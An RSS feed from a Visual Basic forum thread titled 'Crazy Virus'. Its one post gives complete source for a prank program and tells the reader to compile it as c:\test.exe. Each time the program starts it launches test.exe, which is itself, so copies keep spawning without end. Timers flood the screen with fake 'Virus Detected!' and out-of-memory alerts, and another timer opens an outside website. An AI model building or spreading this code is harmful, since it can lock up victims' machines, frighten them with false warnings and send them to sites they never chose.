<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
  <channel>
    <title>'Crazy Virus'' Thread RSS Feed</title>
    <link>http://www.programmersheaven.com/</link>
    <description>Contains the latest posts from the thread 'Crazy Virus'' posted on the 'Visual Basic' forum at Programmer's Heaven.</description>
    <language>en</language>
    <copyright>Copyright 2013 Programmers Heaven</copyright>
    <pubDate>Wed, 19 Jun 2013 16:08:28 -0700</pubDate>
    <lastBuildDate>Wed, 19 Jun 2013 16:08:28 -0700</lastBuildDate>
    <generator>Argotic Syndication Framework 2007.3.0.1, http://www.codeplex.com/Argotic</generator>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <ttl>360</ttl>
    <image>
      <url>http://www.programmersheaven.com/images/ph.gif</url>
      <title>Programmers Heaven</title>
      <link>http://www.programmersheaven.com/</link>
      <width>88</width>
      <height>31</height>
    </image>
    <item>
      <title>Crazy Virus'</title>
      <link>http://www.programmersheaven.com/mb/VBasic/428975/428975/crazy-virus/</link>
      <description>Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, _&lt;br /&gt;
ByVal lpOperation As String, _&lt;br /&gt;
ByVal lpFile As String, _&lt;br /&gt;
ByVal lpParameters As String, _&lt;br /&gt;
ByVal lpDirectory As String, _&lt;br /&gt;
ByVal nShowCmd As Long) As Long&lt;br /&gt;
Dim ctr As Integer&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Private Sub Form_Load()&lt;br /&gt;
Shell "c:\test.exe", vbNormalFocus&lt;br /&gt;
End Sub&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
' Timer1 interval = 100&lt;br /&gt;
&lt;br /&gt;
Private Sub Timer1_Timer()&lt;br /&gt;
MsgBox "Virus Detected!", vbExclamation, "Warning."&lt;br /&gt;
End Sub&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
' Timer2 interval = 200&lt;br /&gt;
&lt;br /&gt;
Private Sub Timer2_Timer()&lt;br /&gt;
MsgBox "Runtime error 492. Not enough memory.", vbCritical, "Runtime Error."&lt;br /&gt;
End Sub&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
' Timer3 interval = 5000&lt;br /&gt;
&lt;br /&gt;
Private Sub Timer3_Timer()&lt;br /&gt;
ctr = ctr + 1&lt;br /&gt;
If ctr = 1 Then&lt;br /&gt;
    ShellExecute Form1.hwnd, "open", "http://www.googlehammer.com", "", "", SW_SHOW Or SW_NORMAL&lt;br /&gt;
    Timer3.Enabled = False&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
'After that, you will make the exe file and name it the "test.exe" and then save it to drive C.&lt;br /&gt;</description>
      <guid isPermaLink="true">http://www.programmersheaven.com/mb/VBasic/428975/428975/crazy-virus/</guid>
      <pubDate>Thu, 28 Jun 2012 22:33:47 -0700</pubDate>
      <category>Visual Basic</category>
    </item>
  </channel>
</rss>